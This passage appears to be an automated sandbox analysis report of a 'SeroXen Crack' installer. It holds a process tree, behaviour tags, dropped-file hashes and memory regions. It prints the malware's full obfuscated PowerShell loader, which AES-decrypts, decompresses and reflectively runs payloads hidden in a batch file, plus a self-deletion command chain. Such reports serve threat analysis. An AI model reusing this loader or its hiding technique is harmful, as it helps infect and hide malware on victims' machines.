                                                  • C:\Windows\SysWOW64\dllhost.exe
                                                    C:\Windows\SysWOW64\dllhost.exe /Processid:{56b323f5-e2ed-4d6e-be5e-d067a99b840a}
                                                    5⤵
                                                      PID:1868
                                                    • C:\Windows\SysWOW64\dllhost.exe
                                                      C:\Windows\SysWOW64\dllhost.exe /Processid:{35c2d8a7-afbd-4f31-994a-7f0299688200}
                                                      5⤵
                                                      • System Location Discovery: System Language Discovery
                                                      PID:1048
                                                    • C:\Windows\SysWOW64\dllhost.exe
                                                      C:\Windows\SysWOW64\dllhost.exe /Processid:{c56c0c0b-6aa4-4441-89e5-56d3092efc02}
                                                      5⤵
                                                        PID:1428
                                                      • C:\Windows\SysWOW64\dllhost.exe
                                                        C:\Windows\SysWOW64\dllhost.exe /Processid:{74093793-133a-4b59-9f31-8cec6d881d76}
                                                        5⤵
                                                        • System Location Discovery: System Language Discovery
                                                        PID:5780
                                                      • C:\Windows\SysWOW64\dllhost.exe
                                                        C:\Windows\SysWOW64\dllhost.exe /Processid:{e2681f51-683c-4edf-9ce4-4fffa001a691}
                                                        5⤵
                                                          PID:240
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 240 -s 464
                                                            6⤵
                                                            • Program crash
                                                            • System Location Discovery: System Language Discovery
                                                            • Checks processor information in registry
                                                            • Enumerates system info in registry
                                                            PID:696
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
                                                  1⤵
                                                    PID:1256
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                                                    1⤵
                                                      PID:1304
                                                    • C:\Windows\system32\svchost.exe
                                                      C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                                                      1⤵
                                                        PID:1356
                                                      • C:\Windows\system32\svchost.exe
                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                                        1⤵
                                                          PID:1444
                                                          • C:\Windows\system32\sihost.exe
                                                            sihost.exe
                                                            2⤵
                                                              PID:2900
                                                          • C:\Windows\System32\svchost.exe
                                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                                                            1⤵
                                                            • Indicator Removal: Clear Windows Event Logs
                                                            PID:1548
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                                            1⤵
                                                              PID:1628
                                                            • C:\Windows\System32\svchost.exe
                                                              C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                                              1⤵
                                                                PID:1640
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k NetworkService -p
                                                                1⤵
                                                                  PID:1652
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                                                  1⤵
                                                                    PID:1744
                                                                  • C:\Windows\System32\svchost.exe
                                                                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                                                    1⤵
                                                                      PID:1820
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                                                      1⤵
                                                                        PID:1828
                                                                      • C:\Windows\System32\svchost.exe
                                                                        C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                                        1⤵
                                                                          PID:1936
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                                          1⤵
                                                                            PID:2036
                                                                          • C:\Windows\System32\svchost.exe
                                                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                                            1⤵
                                                                              PID:2044
                                                                            • C:\Windows\System32\svchost.exe
                                                                              C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                                              1⤵
                                                                                PID:1700
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                                                1⤵
                                                                                  PID:2072
                                                                                • C:\Windows\System32\spoolsv.exe
                                                                                  C:\Windows\System32\spoolsv.exe
                                                                                  1⤵
                                                                                    PID:2172
                                                                                  • C:\Windows\System32\svchost.exe
                                                                                    C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                                                    1⤵
                                                                                      PID:2288
                                                                                    • C:\Windows\System32\svchost.exe
                                                                                      C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                                                      1⤵
                                                                                        PID:2336
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                                        1⤵
                                                                                          PID:2520
                                                                                        • C:\Windows\system32\svchost.exe
                                                                                          C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                                          1⤵
                                                                                            PID:2528
                                                                                          • C:\Windows\system32\svchost.exe
                                                                                            C:\Windows\system32\svchost.exe -k NetworkService -p
                                                                                            1⤵
                                                                                              PID:2544
                                                                                            • C:\Windows\system32\svchost.exe
                                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                                              1⤵
                                                                                                PID:2620
                                                                                              • C:\Windows\sysmon.exe
                                                                                                C:\Windows\sysmon.exe
                                                                                                1⤵
                                                                                                  PID:2632
                                                                                                • C:\Windows\System32\svchost.exe
                                                                                                  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                                                  1⤵
                                                                                                    PID:2680
                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                                                    1⤵
                                                                                                    • Checks processor information in registry
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:2688
                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                                                    1⤵
                                                                                                      PID:2696
                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                      C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                                                      1⤵
                                                                                                        PID:3036
                                                                                                      • C:\Windows\system32\wbem\unsecapp.exe
                                                                                                        C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                                                        1⤵
                                                                                                          PID:3124
                                                                                                        • C:\Windows\Explorer.EXE
                                                                                                          C:\Windows\Explorer.EXE
                                                                                                          1⤵
                                                                                                            PID:3256
                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                              C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\SeroXen Crack\SeroXen-install.bat"
                                                                                                              2⤵
                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                              PID:844
                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                3⤵
                                                                                                                  PID:4772
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\SeroXen Crack\SeroXen-install.bat.exe
                                                                                                                  "SeroXen-install.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function agDFc($vCpVI){ $Qviqn=[System.Security.Cryptography.Aes]::Create(); $Qviqn.Mode=[System.Security.Cryptography.CipherMode]::CBC; $Qviqn.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $Qviqn.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('eSyKXuxugFflvGlW9qE6Iqg8XcAom2v4/DjQoKKC570='); $Qviqn.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9iro50udEDaxZ/wkUff9RA=='); $FmMlx=$Qviqn.CreateDecryptor(); $return_var=$FmMlx.TransformFinalBlock($vCpVI, 0, $vCpVI.Length); $FmMlx.Dispose(); $Qviqn.Dispose(); $return_var;}function cZEYh($vCpVI){ $WLTiH=New-Object System.IO.MemoryStream(,$vCpVI); $KNxYU=New-Object System.IO.MemoryStream; $LOvEr=New-Object System.IO.Compression.GZipStream($WLTiH, [IO.Compression.CompressionMode]::Decompress); $LOvEr.CopyTo($KNxYU); $LOvEr.Dispose(); $WLTiH.Dispose(); $KNxYU.Dispose(); $KNxYU.ToArray();}function fELFD($vCpVI,$TXpag){ $fzHaG=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$vCpVI); $UtByz=$fzHaG.EntryPoint; $UtByz.Invoke($null, $TXpag);}$QLGin=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\SeroXen Crack\SeroXen-install.bat').Split([Environment]::NewLine);foreach ($AkEcQ in $QLGin) { if ($AkEcQ.StartsWith('SEROXEN')) { $fJBxd=$AkEcQ.Substring(7); break; }}$CjuJm=[string[]]$fJBxd.Split('\');$hxBpb=cZEYh (agDFc ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($CjuJm[0])));$OyvxC=cZEYh (agDFc ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($CjuJm[1])));fELFD $OyvxC (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));fELFD $hxBpb (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
                                                                                                                  3⤵
                                                                                                                  • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                                  • Deletes itself
                                                                                                                  • Executes dropped EXE
                                                                                                                  • Suspicious use of SetThreadContext
                                                                                                                  • Drops file in Windows directory
                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                  PID:2156
                                                                                                                  • C:\Windows\SysWOW64\dllhost.exe
                                                                                                                    C:\Windows\SysWOW64\dllhost.exe /Processid:{90c660f6-d5c9-43aa-ab1c-a011f97427d4}
                                                                                                                    4⤵
                                                                                                                      PID:1836
                                                                                                                    • C:\Windows\SysWOW64\dllhost.exe
                                                                                                                      C:\Windows\SysWOW64\dllhost.exe /Processid:{91339f6d-91e2-43a1-9731-2b9d7851b1f5}
                                                                                                                      4⤵
                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                      PID:1496
                                                                                                                    • C:\Windows\SysWOW64\dllhost.exe
                                                                                                                      C:\Windows\SysWOW64\dllhost.exe /Processid:{5d4fd16c-9ef0-4abb-8786-01b55aad0115}
                                                                                                                      4⤵
                                                                                                                        PID:956
                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                        "C:\Windows\System32\cmd.exe" /C PING localhost -n 8 >NUL & taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\SeroXen Crack\SeroXen-install.bat.exe" & ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\SeroXen Crack\SeroXen-install.bat.exe" & del /f "C:\Users\Admin\AppData\Local\Temp\SeroXen Crack\SeroXen-install.bat.exe" & exit
                                                                                                                        4⤵
                                                                                                                        • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                        PID:5392
                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                          5⤵
                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                          PID:5736
                                                                                                                        • C:\Windows\system32\PING.EXE
                                                                                                                          PING localhost -n 8
                                                                                                                          5⤵
                                                                                                                          • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                          • Runs ping.exe
                                                                                                                          PID:4300
                                                                                                                        • C:\Windows\system32\taskkill.exe
                                                                                                                          taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\SeroXen Crack\SeroXen-install.bat.exe"
                                                                                                                          5⤵
                                                                                                                          • Kills process with taskkill
                                                                                                                          PID:5944
                                                                                                                        • C:\Windows\system32\attrib.exe
                                                                                                                          ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\SeroXen Crack\SeroXen-install.bat.exe"
                                                                                                                          5⤵
                                                                                                                          • Views/modifies file attributes
                                                                                                                          PID:5904
                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                  C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                                                  1⤵
                                                                                                                    PID:3512
                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                                                                                                    1⤵
                                                                                                                      PID:3568
                                                                                                                    • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                      C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                      1⤵
                                                                                                                        PID:3936
                                                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                        1⤵
                                                                                                                          PID:4024
                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                          C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
                                                                                                                          1⤵
                                                                                                                            PID:4036
                                                                                                                          • C:\Windows\system32\DllHost.exe
                                                                                                                            C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                                            1⤵
                                                                                                                              PID:3908
                                                                                                                            • C:\Windows\system32\DllHost.exe
                                                                                                                              C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
                                                                                                                              1⤵
                                                                                                                                PID:4412
                                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                                C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
                                                                                                                                1⤵
                                                                                                                                  PID:4508
                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                  C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                                                                  1⤵
                                                                                                                                    PID:5060
                                                                                                                                  • C:\Windows\System32\svchost.exe
                                                                                                                                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                                                    1⤵
                                                                                                                                      PID:5064
                                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                                      C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                                                      1⤵
                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                      PID:1856
                                                                                                                                    • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                                                      "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                                                      1⤵
                                                                                                                                      • Drops file in System32 directory
                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                      PID:4240
                                                                                                                                    • C:\Windows\system32\SppExtComObj.exe
                                                                                                                                      C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                                                      1⤵
                                                                                                                                        PID:1588
                                                                                                                                      • C:\Windows\System32\svchost.exe
                                                                                                                                        C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                                                        1⤵
                                                                                                                                          PID:1720
                                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                                                          1⤵
                                                                                                                                            PID:2248
                                                                                                                                          • C:\Windows\system32\DllHost.exe
                                                                                                                                            C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                                                            1⤵
                                                                                                                                              PID:868
                                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                                              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                                                              1⤵
                                                                                                                                                PID:4020
                                                                                                                                              • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                                                C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                                                1⤵
                                                                                                                                                  PID:2864
                                                                                                                                                • C:\Windows\System32\svchost.exe
                                                                                                                                                  C:\Windows\System32\svchost.exe -k WerSvcGroup
                                                                                                                                                  1⤵
                                                                                                                                                  • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                                                                  PID:6068
                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 240 -ip 240
                                                                                                                                                    2⤵
                                                                                                                                                      PID:5128

                                                                                                                                                  Network

                                                                                                                                                  MITRE ATT&CK Enterprise v15

                                                                                                                                                  Replay Monitor

                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                  Downloads

                                                                                                                                                  • C:\ProgramData\Microsoft\Windows\WER\Temp\WER.1a69884b-ef72-457b-889d-e85d83ab7424.tmp.csv

                                                                                                                                                    Filesize

                                                                                                                                                    36KB

                                                                                                                                                    MD5

                                                                                                                                                    155b4dda8047c5cd86ff6c381c6d4463

                                                                                                                                                    SHA1

                                                                                                                                                    353d82fda365c61587cf977959775e2064919c6b

                                                                                                                                                    SHA256

                                                                                                                                                    660251a1ac58b676e0c4a773e168091977c2bd8dd143542f121a4698eec5db15

                                                                                                                                                    SHA512

                                                                                                                                                    6c45993a7c1e21d0041004125d7d0f4d2e4a519dd54b84866dafe16abac3633fd0e6b028deb5ac9cc3e3bd65e6a98da21d1a74a7979b44cc3aaa6c3274356464

                                                                                                                                                  • C:\ProgramData\Microsoft\Windows\WER\Temp\WER.39ef4d09-9a13-4baa-9253-260fac491ef6.tmp.txt

                                                                                                                                                    Filesize

                                                                                                                                                    13KB

                                                                                                                                                    MD5

                                                                                                                                                    5bf5e02c4e1c0d134a3724afae3a9e08

                                                                                                                                                    SHA1

                                                                                                                                                    9e8876b44110f61453020f9989d1e65822decbf8

                                                                                                                                                    SHA256

                                                                                                                                                    790261ef5dbd7edaef170e48afbc20690ad13a96254a0aa36ba7ff118b126bff

                                                                                                                                                    SHA512

                                                                                                                                                    002e6fbd48599dc37ec30e2092abebf1af5d8005eb417bb47567917edc7441c439e8ff4d60913bb43632a5f603bfa5776e63648819d772740f41d3b650ed6d7f

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\SeroXen Crack\SeroXen-install.bat.exe

                                                                                                                                                    Filesize

                                                                                                                                                    440KB

                                                                                                                                                    MD5

                                                                                                                                                    0e9ccd796e251916133392539572a374

                                                                                                                                                    SHA1

                                                                                                                                                    eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204

                                                                                                                                                    SHA256

                                                                                                                                                    c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221

                                                                                                                                                    SHA512

                                                                                                                                                    e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ars0qgus.zwt.ps1

                                                                                                                                                    Filesize

                                                                                                                                                    60B

                                                                                                                                                    MD5

                                                                                                                                                    d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                                    SHA1

                                                                                                                                                    6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                                    SHA256

                                                                                                                                                    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                                    SHA512

                                                                                                                                                    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                                  • C:\Windows\$sxr-cmd.exe

                                                                                                                                                    Filesize

                                                                                                                                                    324KB

                                                                                                                                                    MD5

                                                                                                                                                    c5db7b712f280c3ae4f731ad7d5ea171

                                                                                                                                                    SHA1

                                                                                                                                                    e8717ff0d40e01fd3b06de2aa5a401bed1c907cc

                                                                                                                                                    SHA256

                                                                                                                                                    f6c9532e1f4b66be96f0f56bd7c3a3c1997ea8066b91bfcc984e41f072c347ba

                                                                                                                                                    SHA512

                                                                                                                                                    bceaf7dc30f2c99b40b7025a5eb063f3131a1ef9349fdf356720eaef838bcf58ce3d5e3bad9459ddd2f872df430bdb66a766a5acff5d3bbc738eba8945cb0a89

                                                                                                                                                  • C:\Windows\$sxr-mshta.exe

                                                                                                                                                    Filesize

                                                                                                                                                    32KB

                                                                                                                                                    MD5

                                                                                                                                                    356e04e106f6987a19938df67dea0b76

                                                                                                                                                    SHA1

                                                                                                                                                    f2fd7cde5f97427e497dfb07b7f682149dc896fb

                                                                                                                                                    SHA256

                                                                                                                                                    4ed8a115fa1dcfd532397b800775c1b54d2d407b52118b5423e94ff1ce855d7e

                                                                                                                                                    SHA512

                                                                                                                                                    df1c655fa3a95e001084af8c3aa97c54dbcb690210e1353dd836702cfb4af3c857449df62aa62d7ab525ffb4e0dc1552181dfcdee2c28f4af5c20df6d95811cd

                                                                                                                                                  • memory/440-116-0x00007FFEECCF0000-0x00007FFEECD00000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    64KB

                                                                                                                                                  • memory/440-115-0x0000015E10230000-0x0000015E10257000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    156KB

                                                                                                                                                  • memory/548-40-0x0000000140000000-0x0000000140004000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    16KB

                                                                                                                                                  • memory/548-37-0x0000000140000000-0x0000000140004000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    16KB

                                                                                                                                                  • memory/648-110-0x00007FFEECCF0000-0x00007FFEECD00000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    64KB

                                                                                                                                                  • memory/648-106-0x00000270CD080000-0x00000270CD0A7000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    156KB

                                                                                                                                                  • memory/704-107-0x000001FFE7CA0000-0x000001FFE7CC2000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    136KB

                                                                                                                                                  • memory/704-109-0x000001FFE7CD0000-0x000001FFE7CF7000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    156KB

                                                                                                                                                  • memory/704-112-0x00007FFEECCF0000-0x00007FFEECD00000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    64KB

                                                                                                                                                  • memory/728-122-0x000001D91D0F0000-0x000001D91D117000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    156KB

                                                                                                                                                  • memory/728-123-0x00007FFEECCF0000-0x00007FFEECD00000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    64KB

                                                                                                                                                  • memory/988-118-0x0000025B43460000-0x0000025B43487000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    156KB

                                                                                                                                                  • memory/988-119-0x00007FFEECCF0000-0x00007FFEECD00000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    64KB

                                                                                                                                                  • memory/1040-128-0x00000256AB460000-0x00000256AB487000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    156KB

                                                                                                                                                  • memory/1040-129-0x00007FFEECCF0000-0x00007FFEECD00000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    64KB

                                                                                                                                                  • memory/1084-132-0x00007FFEECCF0000-0x00007FFEECD00000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    64KB

                                                                                                                                                  • memory/1084-131-0x00000276160B0000-0x00000276160D7000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    156KB

                                                                                                                                                  • memory/1100-135-0x00007FFEECCF0000-0x00007FFEECD00000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    64KB

                                                                                                                                                  • memory/1100-134-0x00000158C5FA0000-0x00000158C5FC7000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    156KB

                                                                                                                                                  • memory/1184-142-0x00007FFEECCF0000-0x00007FFEECD00000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    64KB

                                                                                                                                                  • memory/1184-141-0x0000024DE5560000-0x0000024DE5587000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    156KB

                                                                                                                                                  • memory/1496-41-0x0000000000400000-0x0000000000406000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    24KB

                                                                                                                                                  • memory/1496-43-0x0000000000400000-0x0000000000406000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    24KB

                                                                                                                                                  • memory/2156-30-0x0000022718E40000-0x0000022718E96000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    344KB

                                                                                                                                                  • memory/2156-20-0x00007FFF1D2C0000-0x00007FFF1DD82000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/2156-44-0x00007FFF1D2C0000-0x00007FFF1DD82000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/2156-35-0x00000227191F0000-0x00000227191FA000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    40KB

                                                                                                                                                  • memory/2156-1521-0x00007FFF1D2C0000-0x00007FFF1DD82000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/2156-4-0x00007FFF1D2C3000-0x00007FFF1D2C5000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    8KB

                                                                                                                                                  • memory/2156-69-0x00007FFF1D2C0000-0x00007FFF1DD82000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/2156-13-0x00007FFF1D2C0000-0x00007FFF1DD82000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/2156-14-0x000002277D970000-0x000002277D992000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    136KB

                                                                                                                                                  • memory/2156-15-0x00007FFF1D2C0000-0x00007FFF1DD82000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/2156-16-0x00007FFF1D2C0000-0x00007FFF1DD82000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/2156-17-0x0000022718000000-0x0000022718024000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    144KB

                                                                                                                                                  • memory/2156-80-0x00007FFF1D2C0000-0x00007FFF1DD82000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/2156-18-0x00007FFF2CC60000-0x00007FFF2CE69000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    2.0MB

                                                                                                                                                  • memory/2156-19-0x00007FFF2C430000-0x00007FFF2C4ED000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    756KB

                                                                                                                                                  • memory/2156-22-0x00007FFF1D2C0000-0x00007FFF1DD82000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/2156-23-0x00007FFF1D2C0000-0x00007FFF1DD82000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/2156-21-0x00007FFF1D2C3000-0x00007FFF1D2C5000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    8KB

                                                                                                                                                  • memory/2156-51-0x00007FFF1D2C0000-0x00007FFF1DD82000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/2156-24-0x00007FFF1D2C0000-0x00007FFF1DD82000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/2156-25-0x00007FFF1D2C0000-0x00007FFF1DD82000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/2156-26-0x0000022718330000-0x0000022718D80000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.3MB

                                                                                                                                                  • memory/2156-28-0x00007FFF1D2C0000-0x00007FFF1DD82000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/2156-29-0x0000022718D90000-0x0000022718E36000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    664KB

                                                                                                                                                  • memory/2156-31-0x0000022718EA0000-0x0000022718EF8000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    352KB

                                                                                                                                                  • memory/2156-36-0x00007FFF1D2C0000-0x00007FFF1DD82000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/2156-33-0x00007FFF2CC60000-0x00007FFF2CE69000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    2.0MB

                                                                                                                                                  • memory/2156-32-0x0000022718F00000-0x0000022718F22000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    136KB

                                                                                                                                                  • memory/3624-92-0x00000214FCEC0000-0x00000214FCF72000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    712KB

                                                                                                                                                  • memory/3624-70-0x00000214FAF70000-0x00000214FB4F4000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    5.5MB

